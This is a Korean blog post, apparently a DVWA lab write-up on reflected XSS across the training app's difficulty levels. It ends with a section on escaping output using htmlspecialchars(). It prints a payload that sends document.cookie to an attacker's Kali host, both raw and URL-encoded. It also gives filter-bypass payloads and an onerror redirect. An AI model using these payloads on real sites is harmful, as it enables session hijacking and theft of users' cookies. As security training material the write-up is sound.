2023. 8. 18. 13:37ㆍ보안/DVWA
XSS(Reflected)
사용자의 입력이 웹 애플리케이션에 반사되어 스크립트가 실행되는 경우이다. 주로 링크나 URL 매개 변수를 통해 발생하며, 사용자가 악의적인 링크를 클릭하거나 악의적인 URL을 요청할 때 스크립트가 실행된다.
실습
Low 레벨을 도전해보자!
이번에는 칼리에서 쿠키 정보를 받아보자!
<script>document.location='http://192.168.2.14/cookie?'+document.cookie</script>
와 같은 명령어를 구글에서 url 인코딩하면 아래와 같이 얻을 수 있다.
%3cscript%3edocument.location%3d%27http%3a%2f%2f192.168.2.14%2fcookie%3f%27%2bdocument.cookie%3c%2fscript%3e
intercept 기능을 on으로 켜고, name 부분에 인코딩한 정보를 기입하고 Forward 한다.
쿠키 정보를 아래와 같이 얻을 수 있다. 이것도 Forward 한다.
medium 레벨도 도전해보자!
<scr<script>ipt>alert(1)</sc<script>ript>
와 같이 입력하면 치환 후 alert(1)이 실행되므로 아래와 같이 결과를 얻을 수 있다.
다른 방법으로 대문자를 이용할 수도 있다.
<SCRIPT>alert(1)</SCRIPT>
와 같이 입력하면 동일하게 결과를 확인할 수 있다.
high 레벨은 역시 어렵지만 도전해보자.
정규식으로 입력값을 검증하고 있는 경우 우회함수를 사용할 수 있다. 우회함수 중에서도 xss cheat sheet를 사용하려고 한다. 구글에서 다양한 우회함수들을 확인할 수 있는 확인해봐도 좋을 것 같다.
<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>에서 onerror 함수는 이미지 로드에 오류가 발생하면 지정된 JavaScript 코드가 실행되도록 한다. 'x'는 scr의 이미지 경로가 될 수 없으므로 항상 오류가 발생하고, 결과적으로 생성해 둔 파일이 리다이렉트 될 수 밖에 없도록 한 것이다.
이러한 조치에는 htmlspecialchars()와 htmlentities() 함수를 사용할 수 있다.
htmlspecialchars()와 htmlentities() 함수는 PHP에서 문자열을 안전하게 HTML로 출력할 때 사용되는 함수이다. 이 함수들은 특수 문자를 HTML 엔티티로 변환하여 사용자가 입력한 내용을 그대로 출력할 때 발생할 수 있는 XSS 공격과 같은 보안 문제를 방지하기 위해 사용된다.
아래에 제시된 엔티티들은 주로 이러한 함수들을 사용하여 변환되는 특수 문자에 대한 예시이다.
" : 이스케이프된 쌍따옴표 (") 문자를 나타낸다.
' : 이스케이프된 작은따옴표 (') 문자를 나타낸다.
& : 이스케이프된 앰퍼샌드 (&) 문자를 나타낸다.
< : 이스케이프된 작은 부등호 (<) 문자를 나타낸다.
> : 이스케이프된 큰 부등호 (>) 문자를 나타낸다.
이러한 HTML 엔티티는 브라우저가 웹 페이지를 렌더링할 때 특수 문자를 그대로 출력하는 대신 해당 문자의 의미에 맞게 해석한다. 이를 통해 사용자가 입력한 내용이 잠재적인 스크립트나 악의적인 코드로 해석되는 것을 방지할 수 있다.
impossible 레벨에서 아래 스크샷과 같이 htmlspecialchars() 함수를 사용했음을 알 수 있다.
'보안 > DVWA' 카테고리의 다른 글
SQL Injection(Blind) (0) | 2023.08.18 |
---|---|
XSS(Stored) (0) | 2023.08.18 |
SQL Injection (0) | 2023.08.17 |
File Upload (0) | 2023.08.17 |
File Inclusion (0) | 2023.08.17 |